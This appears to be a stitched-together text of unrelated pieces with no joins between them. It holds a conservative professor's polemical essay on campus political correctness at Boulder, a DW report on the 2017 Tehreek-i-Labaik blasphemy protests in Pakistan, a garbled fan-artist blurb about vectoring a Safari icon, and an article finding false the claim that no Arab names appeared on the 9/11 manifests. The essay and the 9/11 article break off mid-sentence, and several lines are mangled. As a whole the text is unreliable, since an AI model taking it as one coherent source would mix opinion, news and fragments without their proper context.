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#page#At almost all major research universities, courses on the Constitution, and public law generally, have fallen out of fashion in political-science departments because these areas are an unpromising, backward-looking subfield for scholars understandably concerned with tenure and advancement. In fact, the APSA held a hand-wringing panel about this trend at its most recent annual meeting. Narrowly quantitative modeling exercises are dominating political science more and more. (In a happy postscript, positive student feedback about my con-law class has led one of the regular political-science faculty members to take up the course this year.)
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The environmental-studies program, through which I taught an upper-division course called Free-Market Environmentalism, was similarly hospitable, which may come as a surprise to conservatives who rightly find most environmentalism an undrained swamp (er, wetland) of apocalyptic and anti-capitalist extremism. To be sure, Boulder’s environmental-studies program leans to the left, and I had a few sharp but civil arguments (the most heated being over the issue of animal rights). But for the most part, its faculty and curriculum were not politicized or single-mindedly obsessed with climate change, and I was consistently impressed with the seriousness and academic rectitude of the department in the faculty meetings I attended and the classes I visited. One day the program chairman brought up a request for the campus Public Interest Research Group to come to each class for ten minutes to register voters ahead of a special election that included several local environmental initiatives. The faculty not only rejected the idea vehemently, but one professor said, “I don’t care if it’s to save the planet — they’re not getting ten minutes of my classroom!”
The program is shorthanded for the number of students it attracts, which is one reason it welcomed me. In addition, the “free-market environmentalist” perspective of my course, which emphasizes the role of property rights, markets, and incentives, is both well known and respected in Boulder’s environmental-studies program, and there were other indications of a widening gulf between the academic community and environmental-advocacy groups. Several faculty members expressed frustration with the movement’s simple-minded opposition to genetically modified organisms, and one finalist for a faculty position made the telling remark in her hiring presentation, “This chart is from Greenpeace, but it’s actually pretty good.”
This openness to conservative views is part of a pattern. The silliest campus incidents usually don’t originate from faculty in traditional or science-based fields. Instead, they come disproportionately from explicitly politicized “studies” disciplines, activist-oriented “centers,” or disciplines with less rigorous intellectual content, such as creative writing and communications. (The most recent example of this is the professor of communications at the University of Michigan who wrote the now-famous “It’s OK to Hate Republicans” article for In These Times.) Boulder has a women-and-gender-studies program that proudly advertised its rough equivalent of Ward Churchill, an “activist-in-residence” who is a community organizer without academic credentials of any kind. She is essentially a Naomi Klein clone, fixated on the evils of “neoliberalism.” Not even the sociology department, which leans far to the left, would make such an openly politicized non-academic appointment.
These microcosms of anti-academic radicalism become a macrocosm in several ways. It is ironic that an ideology that marks out colonialism as a preeminent sin of Western racism and oppression does not perceive its own academic imperialism. The spirit of militant leftism is not content to reside in the various “studies” fields, but has infiltrated and colonized most of the other departments in the social sciences and humanities. The grievance Left’s insatiable will to power over other academic departments was seen in a demonstration last year at Dartmouth, when the identity-politics faction occupied the president’s office, demanding that there be a queer-studies course in every department, including, presumably, physics and chemistry.
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In most departments of political science, history, English, anthropology, psychology, philosophy, and sociology, you will find several professors whose main focus is the holy trinity of race, class, and gender, along with their close correlates, post-colonialist, postmodern, and post-structural analysis. (If “holy trinity” seems like an infelicitous metaphor, you could go with the Four Horsemen of the Leftist Apocalypse instead: patriarchy, colonialism, privilege, and Israel.) At Boulder, the telltale markers show up for about one-third of the history, English, sociology, anthropology, and geography faculty members (geography seems to have been an early target of opportunity for politicized scholarship just about everywhere) but are much less common in political science and philosophy. About the only Boulder departments in social sciences or humanities where you don’t find the holy trinity are economics and classics. I am tempted to propose the theorem that the presence of politically correct radicalism exists in inverse proportion to the emphasis on regression modeling or the serious study of ancient languages. (Though perhaps not for long; the campus Left, taking note of its lack of infiltration in economics, sent protesters and hecklers to the latest annual meeting of the American Economics Association, demanding that the discipline include perspectives of gender and class.)
This encroachment of PC doctrine proceeds because it encounters no serious opposition. For one thing, the typical academic liberal, even in the hard sciences, sympathizes with the basic historical grievances of the Left about racism and sexism. But even those faculty members who think the race, class, and gender workhorses are badly worn out have better things to do than make feeble gestures of resistance and tend to regard the beachheads in their own departments with benign neglect. I suspect that most professors of the race-class-gender catechism can sense that many of their colleagues don’t take them very seriously, which only serves to further fuel their righteous indignation, self-imposed sense of oppression, and mob mentality.
As you might imagine, the spillover of these radical obsessions leads to a surfeit of courses emphasizing the holy trinity. During the run-up to the registration period for the spring semester, the bulletin boards in the hallways at Boulder were festooned with flyers for new courses: Gender and Global Justice, Gender Politics and Global Activism, Transgender Studies, Gender and U.S. Politics: Protest, Polls, and Policy, and so on. I’d estimate that flyers for holy-trinity courses accounted for 75 percent of the total flyers on display. Clearly the identity-politics course offerings are chasing after a limited number of interested students. When I brought this overrepresentation to the attention of one administrator, I was curtly told that “they need to do this, because students are set in their ways.” (It is no coincidence that courses featuring the holy trinity’s oppression/privilege narrative are disproportionately represented in the university’s smorgasbord of a “core curriculum.”)
#page#Woe unto any department that doesn’t satisfy or genuflect fully to the braying mob. The special target at Boulder last year was the philosophy department, which leans predominantly to the left or far left, but which had only four women among its 25-member faculty. This is typical of philosophy departments everywhere; as with physics and mathematics, women constitute only about 25 percent of current philosophy graduate students. (Larry Summers was unavailable for comment.) It didn’t help that one or two male professors in the department had a genuine problem with sexual harassment and deserved dismissal. This became a wedge for the American Philosophical Association’s Committee on the Status of Women to file a report with the Boulder administration condemning the entire department for creating a “hostile environment” — after a “site visit” to the campus that lasted only 18 hours. It was a shoddy report that the university’s administration should have returned to the APA as unacceptable. Instead, the administration, facing a Colorado Open Records Act query, released the report and publicly endorsed it.
That was when the fun really started. The administration had told the philosophy faculty to refrain from public comment about the matter, so I decided to defend the department in an article in the Daily Camera, Boulder’s town paper, and on a Colorado Public Radio broadcast. Why go in for micro-aggression when you can offer full-tilt-boogie macro-aggression? “Inviting outside review by the American Philosophical Association’s (APA) Committee on the Status of Women,” I wrote, “was guaranteed to produce a finding as predictable as the Salem Committee to Investigate Witchcraft in 1691.... Barring more transparency, I think the presumption should be reversed: The Philosophy Department is the victim of the increasingly Star-Chamber atmosphere of campus political correctness.”
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In other words, I was spoiling for a fight. And I didn’t have to wait long.
First came a column from an aggrieved pair of students in the student paper that, to borrow a line from C. S. Lewis, was “full of the cocksureness which flattery breeds on ignorance, and quick to snarl or whimper at the first hint of criticism.” It charged me with “bigotry” for failing to understand that “oppression is overrepresented on this campus,” a criticism bolstered with every cliché of grievance leftism, including that “1 in 5 women are raped” and that “women earn only 77 cents for every dollar earned by a man.” The writers of course invoked the favored term of the moment, “privilege.” Some students, they went on, would “feel uncomfortable or unsafe in [Hayward’s] classroom.” But my biggest sin was having mocked the labeling scheme of gender and sexual identity — in a blog post from six months earlier, in which I had wondered about the alphabet soup of “what goes by the LGBTQRSTUW (or whatever letters have been added lately) ‘community.’” Is this really such a risible comment? While Boulder generally employed the relatively compact LGBTQ, I learned on a visit to colleges in Maine that Bowdoin uses LGBTQIA, while down the road at Bates College it is LGBTIQQ. How long before The Daily Show offers LGBTQMST3K?
The point is, the two students had to go to some trouble to find a source of offense by scouring my off-campus writing, since there were zero complaints about any content in my classrooms. When your grievances against the world run so wide and deep, you can always find something. But the matter didn’t die there. The chairman of the Faculty Assembly, Professor Paul Chinowsky, decided to make the matter official, saying my off-campus remarks “bordered on hate speech” and suggesting that a formal censure from the Assembly, or suspension of my teaching duties, was in order.
The story quickly spread beyond the campus. The Denver Post editorialized that Chinowsky was overreacting, and followed up with an online poll of readers, who overwhelmingly agreed. The matter was quietly dropped after, I was reliably informed, several administrators told Chinowsky that he risked making an ass of himself and the Faculty Assembly if he pressed the matter. More interesting was the number of private communications I received from faculty members I had never met, whose politics, they assured me, were to the left or far left, but who expressed outrage at the ridiculousness of the whole affair.
Gradually coming into focus is the plain fact that today we have two universities — the traditional university, which, while mostly left-liberal, still resides on Planet Earth, and the grievance university, mired in the morass of postmodern obsession with oppression and privilege. You can still get a decent education, even from very liberal professors — I had several excellent ones as both an undergraduate and a graduate student — if they teach the subject matter reasonably, and I came to respect several far-left professors at Boulder who plainly held to traditional views about the importance of reason, objectivity, and truth. But these traditional hallmarks of the university — one might call them the original holy trinity of higher education — are fighting words to the postmodern Left, which openly rejects reason, objectivity, and truth as tools of oppression.
Bit by bit, the traditional university is losing ground to the politically correct university by an academic version of Gresham’s Law: Politicized scholarship drives out old-fashioned objective scholarship. The self-refuting character of postmodern ideology — isn’t the statement that “reason, objectivity, truth, and language are ‘socially constructed’” itself “socially constructed”? — might provide hope that it will go the way of previous academic fads. Will we look back 40 years from now on gender studies as a quaint and embarrassing misadventure like the Freudian obsession of the 1950s, which burst the bounds of psychology and cut a wide swath through many academic disciplines before fading of its own dead weight?
Probably not, for two reasons. First, the grievance industry has achieved critical mass, institutionalizing itself at the administrative level, especially in the domain of feminist “gender equity,” with a strong assist from the federal government’s tendentious application of Title IX and a copious flow of federal grants for “research” into politicized topics. The radical temper is typically knitted tightly together through a variety of campus “centers” and interdisciplinary programs. It’s hard to count all of the leftist programs at Boulder; examples include CLASP (the program in Culture, Language and Social Practice), the Gender Justice League, the Women’s Resource Center, the GLBTQ Resource Center, the Program in Peace and Conflict Studies (in the communications department?), as well as a student group whose sole purpose is making sure The Vagina Monologues stays in regular production in Boulder.
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#page#Second and more important, the Freudianism and Marxism of a generation ago were at least based on purported scientific theories, grounded in ideas about nature, however defective. You could argue with a Marxist. Today’s ruling campus leftist ideology is indistinguishable from nihilism and rejects any consideration of nature as the ground of anything. In fact, invoking human nature is one of the surest ways of calling down ferocious denunciation from the campus Left.
The irony of today’s campus Left is the real privilege of identity politics, whose practitioners shout down anyone who dares question their premises. The current temper of the campus Left is way beyond social utopianism; it demands ritual conformism worthy of the Soviet purge trials or Maoist struggle sessions. When the campus Left cries out “Privilege!” it means “Shut up and conform.”
Perhaps the most revealing recent episode involved University of Iowa president Sally Mason, who felt compelled to issue an apology after she improvidently used the term “human nature” in connection with a discussion of campus sexual-assault policy last year. As the Associated Press reported:
President Sally Mason said she was dismayed by the reports of sexual assaults. She said “the goal would be to end that, to never have another sexual assault. That’s probably not a realistic goal just given human nature, and that’s unfortunate....” Criticism erupted over the phrase that includes “human nature.” Mason said she’s been told by several people in the campus community that her remark was hurtful. She said she was “very, very sorry for any pain that my words might have caused.”
Between the stifling political correctness of the radical narrative, the increasingly esoteric hyperspecialization that renders boring much of the social sciences and humanities, and the out-of-control cost of higher education, it is doubtful that the university in its current form will survive. The number of students majoring in the social sciences (excluding economics) and the humanities has fallen by two-thirds over the last generation. At this rate, eventually many of our leading research universities will bifurcate into a marginal fever swamp of radicalism, whose majors will be unfit for employment at Starbucks, and a larger campus dedicated to science and technology.
As Horace put it, you can expel nature with a pitchfork, but it always comes back. There have been a few hopeful signs of resistance recently, including Harvard evolutionary psychologist Steven Pinker’s public criticism of a demand for Harvard to discontinue use of soda machines made by an Israeli company, and the American Historical Association’s rejection of several anti-Israel resolutions at its latest annual meeting. Add to this the block of Harvard Law School professors protesting the erosion of due-process rights by the federal government’s Title IX demands on universities, along with the unraveling of the campus “rape culture” narrative following Rolling Stone’s debacle of an article about the University of Virginia. And a group of prominent social scientists led by Jonathan Haidt and Phil Tetlock recently published a widely noted paper decrying the absence of conservative perspectives in social |
Pakistan Electronic Media Regulatory Authority (PEMRA) ordered private TV channels to go off air, citing security concerns. Pakistani media is not allowed to broadcast live coverage of a security operation. Coverage was restored Sunday.
Michael Kugelman, an analyst at the Washington-based Wilson Center, told the Agence France-Presse news agency the success of the protest was "highly disturbing."
"It speaks to the clout and impunity enjoyed by religious hardliners in Pakistan," he said.
Watch video 02:23 Violence at Islamist protests: Journalist Asad Hashim in Islamabad
The 'finality' of Prophet Muhammad
The controversy erupted in October, when the government amended electoral laws, including the wording for the swearing-in of lawmakers, who must recognize the Prophet Muhammad as God's final prophet. After protests from religious groups, the government restored the oath in its original form, which was seen as slightly more legally binding.
"Our sole demand is the authorities act against those members of parliament who amended the constitutional clause related to the 'finality' of Prophet Muhammad," Hafiz Ullah Alvi of the hardline Tehreek-i-Labaik Ya Rasool Allah Pakistan party told DW.
"The government said it was a clerical error. We don't think it was the case. It was done deliberately by the West's agents, who are also members of our parliament," Alvi said.
"We will not leave. We will fight until end," Ejaz Ashrafi, the spokesman for the Tehreek-e-Labaik party, told Reuters on Saturday.
Pakistan paralyzed by Islamist protests Nationwide protests and clashes There have been several fatalities and scores of people have been injured in clashes between the protesters and security forces in Islamabad on Saturday. In the southern city Karachi at least 27 people were injured in clashes. Protests also led to the closure of a main road in Lahore. The developments have paralyzed everyday life major cities with violence erupting in 9 cities across the country.
Pakistan paralyzed by Islamist protests Media blackout over 'violation' of law The Pakistan Electronic Media Regulatory Authority (PEMRA) has banned all broadcasting for a second day. It argues that media outlets violated government policy by showing live coverage of security operations. Key social media sites also remained blocked. Journalists have condemned the action, saying it will lead to the spread of 'false news' on social media.
Pakistan paralyzed by Islamist protests Goverment acts after three weeks On Saturday, some 8,500 armed security personnel confronted Islamists, who responded by blocking roads, throwing stones and setting vehicles alight. Security forces fired tear gas and rubber bullets. They were unable to gain control over the situation which led to the government requesting military assistance. There has been no official response from the army.
Pakistan paralyzed by Islamist protests 'Intolerance' on display in Pakistan On November 6, roughly 2,000 members of the Tehreek-i-Labaik Ya Rasool Allah Pakiatn began a sit-in in Islamabad after the government amended the text of an oath for parliamentarians. It was seen as a softening of the previous stance towards the minority Ahmadi sect, which was declared non-Muslim by the Pakistani parliament in 1974. The change was quickly reversed.
Pakistan paralyzed by Islamist protests 'Inaction' causes situation to deteriorate Demonstrators linked the amendment to blasphemy, a sensitive charge in conservative, Muslim Pakistan. There have since been calls for the resignation of law minister, Zahid Hamid. Civilian governments in Pakistan have a history of being slow to react in such situations. In this case, the Islamabad high Court ordered the government to take action and clear the public roads.
Pakistan paralyzed by Islamist protests Protests are 'highly disturbing' Foreign analysts have described the success of the protest as 'highly disturbing' as it demonstrates 'the clout and impunity' enjoyed by religious hardliners in Pakistan. The military is yet to respond to the government's call for help. However, any military intervention is fraught in Pakistan, which has seen multiple coups in its 70-year history. Author: Aasim Saleem
Many Islamic groups in Pakistan are against parliamentary democracy and want it replaced by the Islamic Shariah model.
Since November 8, the Tehreek-i-Labaik party's followers have blocked a main motorway interchange that connects Islamabad to Rawalpindi, causing severe traffic jams and inconvenience to the capital's residents. Fearing the hardliners could storm government offices in Islamabad, the authorities, too, sealed off several roads, which worsened the traffic situation.
Usman Azam, an Islamabad resident, told DW the blockade was causing problems for citizens.
"Protest is the fundamental right of every citizen, but these protesters should not put the city under siege," Azam told DW.
The main demand of the protesters is that Law Minister Zahid Hamid resign from his post, as by tampering with the oath, they claim, he has committed blasphemy.
"We will not unblock the roads and keep Islamabad under siege until our demands are met," Alvi said.
Watch video Share Christians living in fear in Pakistan Send Facebook google+ Whatsapp Tumblr linkedin stumble Digg reddit Newsvine Permalink https://p.dw.com/p/1I4oY Christians living in fear in Pakistan
Blasphemy 'politics'
Blasphemy is a highly sensitive topic in the Islamic Republic of Pakistan, where around 97 percent of its 180 million inhabitants are Muslim. Rights advocates have long been demanding a reform of the controversial blasphemy laws, which were introduced by the Islamic military dictator General Zia-ul-Haq in the 1980s.
Rights groups say the laws have little to do with blasphemy and are often used to settle petty disputes and personal vendettas. Religious groups oppose any change to blasphemy law and consider it necessary for Pakistan's Islamic identity. Blasphemy allegations have often led to violent riots and vigilante justice in the country.
Read more: Asia Bibi's appeal against death penalty - A test case for Pakistan
The ruling Muslim League of former Prime Minister Nawaz Sharif is already under pressure from the judiciary after Sharif was ousted on corruption charges in July. While opposition politician Imran Khan is demanding early elections, Khadim Hussain Rizvi, the leader of the Tehreek-i-Labaik Pakistan party, has also seen his popularity rise in the past few months.
In September, Rizvi entered mainstream politics and, to the surprise of political observers, won more than 7,000 votes in a Lahore by-election for the seat vacated by Sharif.
Experts say that the protection of blasphemy law is central to the Tehreek-i-Labaik Pakistan party's political agenda. The outfit vows to continue the legacy of Mumtaz Qadri, who was hanged in February 2016 for murdering Salman Taseer, a governor of Pakistan's eastern Punjab province. Qadri shot Taseer 28 times in broad daylight in Islamabad on January 4, 2011, and was sentenced to death in October the same year. Qadri said he had murdered the former governor for his efforts to amend the country's blasphemy laws.
"We will not return [from Islamabad] until certain members of parliament tender their resignations," Qari Sarfraz Ahmed Rizvi, a protester, told DW earlier this month.
Watch video 03:49 Share #JusticeForMashal: Speaking out against Pakistan’s blasphemy laws | Follow the Hashtag Send Facebook google+ Whatsapp Tumblr linkedin stumble Digg reddit Newsvine Permalink https://p.dw.com/p/2biKU #JusticeForMashal: Speaking out against Pakistan’s blasphemy laws | Follow the Hashtag
Bowing to pressure
The government initially did not want to use force against the protesters. Senator Raja Muhammad Zafar Ul Haq, the leader of the ruling party in the upper house of parliament, told DW he hoped the standoff would be resolved through negotiations.
But Haq said the law minister and other members of parliament were unlikely to step down.
"We can't punish the entire parliament that worked on the reforms bill," he added.
Fatima Atif, an Islamabad-based activist and liberal analyst, says the government is powerless when it comes to confronting Islamic groups.
"The ruling party is already in hot water because of its conflict with the military establishment. Even if the government wants to confront the protesters, it lacks the political power to do that," she told DW.
Forced piety - Pakistan's Ramadan law and vigilantism Harsh penalties In Pakistan, it is illegal to drink, eat or even smoke in public during Ramadan. You can be sent to jail, heavily fined, or may even be beaten by vigilantes. Earlier this month, the country's lawmakers introduced stricter penalties that could see people jailed for up to three months for a violation.
Forced piety - Pakistan's Ramadan law and vigilantism 'This is not Islam' Bakhtawar Bhutto, the daughter of former Prime Minister Benazir Bhutto, was quick to condemn the latest amendment, dubbing the law "ridiculous." "Not everyone in Pakistan will be fasting - children in school, the elderly, people with medical issues - Should we arrest them for drinking water?" tweeted Bhutto. "People are going to die from heat stroke and dehydration with this ridiculous law."
Forced piety - Pakistan's Ramadan law and vigilantism Obliged to fast "A person who, according to the tenets of Islam, is under an obligation to fast shall not eat, drink or smoke in a public place during fasting hours in the month of Ramadan," says the Ehtiram-e-Ramadan (Respect for Ramadan) law, which was introduced by the military dictator Zia-ul-Haq in 1981.
Forced piety - Pakistan's Ramadan law and vigilantism Austerity and peity Theologically, Ramadan is about austerity. It teaches Muslims to be pious, to stay away from evil, to fast during the day, and to donate money to the poor. "Zakat" (which means alms-giving in Arabic) is an Islamic tradition in which Muslims give part of their earnings to those in need, particularly during this holy month.
Forced piety - Pakistan's Ramadan law and vigilantism Unbearably hot weather The Islamic month of Ramadan coincides with sweltering temperatures in most Muslim-majority countries. In 2015, a brutal heat wave killed over 1,250 people in Pakistan - many of them died of dehydration while fasting. Even then, the government did not relax the 36-year-old law. Some clerics did, however, say it was permissible to break the Ramadan fast for health reasons.
Forced piety - Pakistan's Ramadan law and vigilantism No respite Nearly all restaurants are closed from fajr (dawn) until maghreb (dusk), and shopkeepers only sell takeaway food items. If you are hungry or thirsty the only place for you is home. At offices - both public and private - you are not allowed to eat.
Forced piety - Pakistan's Ramadan law and vigilantism Rising religious extremism With the war in Afghanistan and growth of Islamist organizations such as the Taliban in the region, things have taken a turn for the worse in the past few years. Religious extremism and intolerance are on the rise in the South Asian Islamic country. At the same time, Ramadan is also an opportunity for extremist and militant outfits to rake in cash through charity donations.
Forced piety - Pakistan's Ramadan law and vigilantism Vigilantism Incidents of religious vigilantism have spiked in the past few years, with fanatic mobs trying to enforce their own version of Shariah. A number of people have been lynched on unproven accusations of blasphemy. Observers say the existence of various Islamic laws has emboldened radicals to take matters into their own hands and dole out "justice" to what they deem un-Islamic. (shs)
Pakistan's credibility
Pakistan's liberal analysts and activists say the government shouldn't concede more political space to Islamists than they already have.
Tauseef Ahmed, a former professor at an Islamabad-based university, believes the "mainstreaming of jihadi outfits" in Pakistan could harm the country's international reputation further.
"The military establishment is dividing Pakistani society along religious and sectarian lines. This policy has harmed the country. The generals do not realize that the international community is observing the situation," Ahmed told DW.
"By mainstreaming such groups, Pakistan has put all its credibility at stake. Why should the international community accept our claims that we are fighting extremists?" Ahmed said.
But Islamic groups say the country's constitution allows them to take part in politics, contest elections and oppose laws that they deem "un-Islamic."Holy shit... I amof the Safari icon after trying to vector this. I should've just cheated and copied it from the web or something. But no, I sat there and(afterthought edit: EXCEPT the maps. There is freely available source art for that insanity online. I built these not-quite recognisable continents from those, which was slightly less painful than picking up an atlas, haha). Derp. *[Hatred/grudging respect for whoever designed it]*This is why it doesn't look quite the same as the original (I don't think the landmass in the compass face is very recognisable... call it a stab in the dark at Equestria's geography, heh), and it also lacks the little loop/chain ring at the top of the 'compass'. There's another reason for that, though; it was making the icon look too small, so I lopped it off to have room to make the rest biggerANYWAY - here we are! Safari. At last. I guess we could just call her Safari, but I'm open to suggestions.Many thanks to for the suggestion on why Mac icons were coming out over-saturated. (if you're reading, I can't get that solution to, haha, but I think I've found a way round it now I know what the problem was!)Many aspects of the official account of 9/11 are false, but so is the claim that no Arab names appeared on the flight manifests of the hijacked planes.
The claim that no Arab names appeared on the flight manifests for the planes hijacked on the morning of September 11, 2001 arose shortly after the terrorist attacks, and variations on the theme have persisted to this day. The claim initially arose when lists of passengers published by CNN, The Guardian, and the Associated Press contained no names of hijack suspects.
But to draw the conclusion from this that therefore no Arab names were on the manifest was a clear example of misinformation, as these lists were clearly reported as lists of victims, and partial lists at that. Furthermore, none of those lists were sourced to the manifests themselves. The Associated Press, for instance, noted that its lists were compiled not from any of the manifests, but from information obtained from “family members, friends, co-workers and law enforcement.”[1]
The only list sourced to an actual manifest was from a graphic created by the staff of the Boston Globe that showed a complete list of names and seating locations for passengers on American Airlines Flight 11. That list did indeed include the names of the suspected hijackers, although it is not clear whether the Globe obtained the information independently from the airline or from investigators. Although acknowledging receipt of an inquiry into this question and initially expressing a willingness to investigate, the Globe ultimately declined to comment for this report.[2]
According to testimony to the 9/11 Commission, the U.S. Customs Office of Intelligence was able to identify the hijackers within perhaps as little as 45 minutes of the attacks by obtaining the passenger manifest for each of the four hijacked flights from the airline companies. Two of the hijackers, Khalid al-Midhar and Nawaf al-Hazmi, were immediately identified when their names were run through the terrorist watchlist database.
Robert C. Bonner, former Commissioner of Customs and Border Protection for the Department of Homeland Security, told the commission that the identification of the others was accomplished by “using those two hits and taking a look at some other basic data about the flight manifest”, such as “where they were seated” and “where they purchased their tickets”, and doing “just a quick link analysis”. Bonner added that “certainly by 11:00 a.m., I’d seen a sheet that essentially identified the 19 probable hijackers. And in fact, they turned out to be, based upon further follow-up in detailed investigation, to be the 19.”[3]
According to an FBI document sent from the Chicago command post to FBI Director Robert Mueller on September 12, 2001, “United Airlines Flights #175 and #93 manifests [were] obtained by FBI Chicago CP [Command Post]” at 10:59 a.m. the previous day. The FBI noted that there were “5 Muslim names” on the Flight 93 manifest and “6 Muslim names” on the other. It named four of the six on Flight 175 as “Hamed Alghamdi, Hamza Alghamdi, Marwan Alshghhi and Mohald Alshehri” [sic]. These four were all checked onto the flight by the same airline employee, whom Chicago requested the FBI in Boston to interview. The document makes no similar mention of having obtained the manifests for Flights 11 and 77.[4]
So by the time the Chicago FBI obtained two of the manifests, Bonner, according to his testimony, had already seen a sheet identifying all 19 hijackers while at the Secret Service Headquarters after having been evacuated from his temporary office in the Treasury Department building. Thus, it is apparent that various government agencies had obtained the manifests from the airlines at different times and independently from one another.
When the 9/11 Commission requested that the FBI submit an explanation of how it identified the hijackers, the agencies response stated that it had “Identified names of all individuals onboard the four hijacked flights using flight manifests”. The FBI had also “Obtained identifying information from the airline passenger name records and flight booking information.”[5]
But if identifying the 19 hijack suspects was as simple as Bonner described, that fact was not well reflected in media reports on the investigation.
Conflicting accounts of the ongoing investigation
On September 13, CNN reported that “The FBI is working on the assumption that there were between 12 and 24 hijackers”.[6] At a press conference the same day, Attorney General John Ashcroft said that “the total number of hijackers, to our best estimate and our best knowledge given the information at this time, on the four planes that crashed was at least 18.” [7]
FBI Director Robert Mueller added that “they were ticketed passengers” and said the belief at that time was that there were five hijackers on Flights 11 and 175 and four on Flights 93 and 77.[8]
The following day, CNN reported that it had obtained “a list of the names of the 18 suspected hijackers that is supposed to be officially released by justice sometimes later today”. This was apparently an error, as the report then named not 18 but 19 suspects. Curiously, one suspect appearing later the same day in the FBI’s official press release did not appear on CNN’s list. Instead of the name “Hani Hanjour”, the CNN transcript of the report had the name of the fifth hijacker aboard Flight 77 as “Mosear Caned”. As this was a rush transcript of the program, the names listed were spelled phonetically. Yet each of the other names obviously correlated with the names released later that day by the FBI. “Setam Segani”, for instance, was “Satam Al Suqami”. “Marwanal Shehhi” was “Marwan Al-Shehhi”, and so forth. The sole exception was Hani Hanjour.[9] Given the complete lack of resemblance between the two names, this discrepancy is not as easily attributable to an error in pronunciation by the reporter or to a spelling mistake in transcription process, leaving open the possibility that the list CNN obtained did not in fact contain the name of Hani Hanjour. However, neither can journalistic error be ruled out.
As noted, when the FBI released its official list of the 19 hijack suspects later that day, it did include the name of Hani Hanjour. The day before, Mueller had said investigators believed there were four hijackers on Flight 77. Now that number had been revised upward to five, with Hani Hanjour possibly being the addition.
And while the FBI listed the name of “Abdulaziz Alomari” as a hijacker on Flight 11, with no mention of any aliases, the manifest, according to the Boston Globe, contained the name “Abdulrahman Alomari”.[10]
Further adding to the confusion, the Washington Post subsequently compiled known information about the hijackers and reported that Hani Hanjour “was not on the American Airlines manifest for the flight because he may not have had a ticket”.[11] As with the Boston Globe publication of the passenger information, it’s not clear whether the Post had actually obtained the manifest from the airline, or whether it obtained that information from investigators. The Post similarly declined to comment on this and other questions about its sourcing for this claim. If Hanjour was not on the manifest, it might explain why only Mueller originally offered the figure of 18, instead of 19 hijackers, and also why the number on Flight 77 was revised from four to five.
However, it’s also possible that the Post simply had their facts wrong, which may be the most plausible explanation. According to the government’s account, Hanjour was both on the manifest and had acquired a ticket. A trial exhibit from the prosecution that was admitted into evidence during the trial of Zacarias Moussaoui (the so-called “20th hijacker”) asserted that Hani Hanjour reserved a ticket for Flight 77 in New Jersey on August 31, 2001. The same slideshow at the Moussaoui trial showed a graphical representation of the seating arrangements for all four flights, including Hanjour in seat 1B on Flight 77.[12] While no actual evidence was provided to support those assertions, the standard of admissibility for evidence in a court of law would suggest that there was a documented chain of custody for the evidence supporting those assertions.
The courtroom presentation was apparently based upon a now declassified FBI chronology that was heavily cited by the 9/11 Commission, which offers more details on Hanjour’s ticket purchase. It states that he first attempted to use a debit card, but ended up paying cash because the cost exceeded card’s limit. Several sources are cited for this, but the references are coded, so it remains unclear what the actual evidence for this is.[13] Additionally, the timeline states that on the morning of September 11, Hanjour boarded Flight 77 at Dulles International Airport. Both the American Airlines manifest and Dulles security video tapes are cited as evidence for this.[14] The video showing Hanjour and other hijackers passing through the checkpoint at Dulles airport was also shown during the Moussaoui trial.[15]
When the 9/11 Commission closed on August 21, 2004, its records were transferred to the custody of the National Archives and Records Administration (NARA), and many of these records have since been publically released.[16] Among those records are airline manifests for Flights 93 and 175. While original manifests for Flights 11 and 77 have apparently not yet been released, passenger lists compiled from the manifests and other airline information for those flights for the 9/11 Commission are publicly available.
The United Airlines Flight 175 manifest shows the names “Ahmed F” in seat 2A, “Alghamdi A” in seat 9D, “Alghamdi H” in seat 9C, “Alshehhi M” in seat 6C, and “Alshehri M” in seat 2B.[17]
The United Airlines Flight 93 manifest shows the names “Alghamdi S” in seat (illegible; possibly 3 or 8)D, “Alhaznaw A” in seat 6B, “Alnami A” in seat 3C, and “Jarrah Z” in seat 1B.[18]
The passenger list for American Airlines Flight 11 shows the names “Al Suqami Satam” in seat 10B, “Alomari Abdul” in seat 8G, “Alsheri Wail” in seat 2A, “Alsheri Walee” in seat 2B, and “Atta Moham” in seat 8D.[19]
The list for American Airlines Flight 77 shows the names “Alhazmi Nawaf” in seat 5E, “Alhazmi Salem” in seat 5F, “Almihdhar Khali” in seat 12B, “Hanjour Hani” in seat 1B, and “Moqed Majed” in seat 12A.[20]
While information publically available about the manifests does indicate that the government’s account of what happened on 9/11 is correct on this count, a number of questions about conflicting media reports remain yet unanswered.
References
[1] “Lists of victims”, CNN, 2001 <http://edition.cnn.com/SPECIALS/2001/trade.center/victims/main.html> (accessed March 24, 2010). “Special report: attack on America”, The Guardian <http://www.guardian.co.uk/wtccrash/> (accessed March 24, 2010). “Partial list of victims”, Associated Press, September 13, 2001 <http://www.boston.com/news/daily/13/victims_list.htm>.
[2] “America attacked: A look at the day that changed the nation”, Boston Globe <http://www.boston.com/news/packages/underattack/attack.htm> (accessed March24, 2010). See graphic titled “AA Flight 11 seating”.
[3] 9/11 Commission Public Hearing, January 26, 2004 <http://www.9-11commission.gov/archive/hearing7/9-11Commission_Hearing_2004-01-26.htm>.
[4] “Twin Tower Bombings”, FBI, September 12, 2001 <http://intelfiles.egoplex.com/2001-09-12-FBI-TImeline-September-11.pdf>.
[5] “FBI Description of How It Identified 19 Alleged 9/11 Hijackers”, Scribd.com, <http://www.scribd.com/doc/13950025/FBI-Description-of-How-It-Identified-19-Alleged-911-Hijackers> (accessed March 29, 2010).
[6] “Feds think they’ve identified some hijackers”, CNN, September 13, 2001 <http://archives.cnn.com/2001/US/09/12/investigation.terrorism/>.
[7] “Transcript: Ashcroft Briefs on Terrorist Investigation Sept. 13”, Global Security, September 14, 2001 <http://www.globalsecurity.org/military/library/news/2001/09/mil-010913-usia18.htm>.
[8] Global Security, September 14, 2001.
[9] “America Under Attack: List of Names of 18 Suspected Hijackers”, CNN, September 14, 2001 <http://transcripts.cnn.com/TRANSCRIPTS/0109/14/bn.01.html>.
[10] “FBI Announces List of 19 Hijackers”, FBI, September 14, 2001. <http://www.fbi.gov/pressrel/pressrel01/091401hj.htm>. See also footnote 13. The Boston Globe declined to comment on the discrepancy when sent an e-mail inquiry.
[11] “Four Planes, Four Coordinated Teams”, Washington Post <http://www.washingtonpost.com/wp-srv/nation/graphics/attack/hijackers.html> (accessed March 19, 2010).
[12] United States v. Zacarias Moussaoui, Prosecution Trial Exhibit OG00010, “Presentation for Special Agent Jim Fitzgerald” <http://www.vaed.uscourts.gov/notablecases/moussaoui/exhibits/> (accessed March 24, 2010). See also OG00010.1, “List of exhibits used in the presentation marked OG00010.
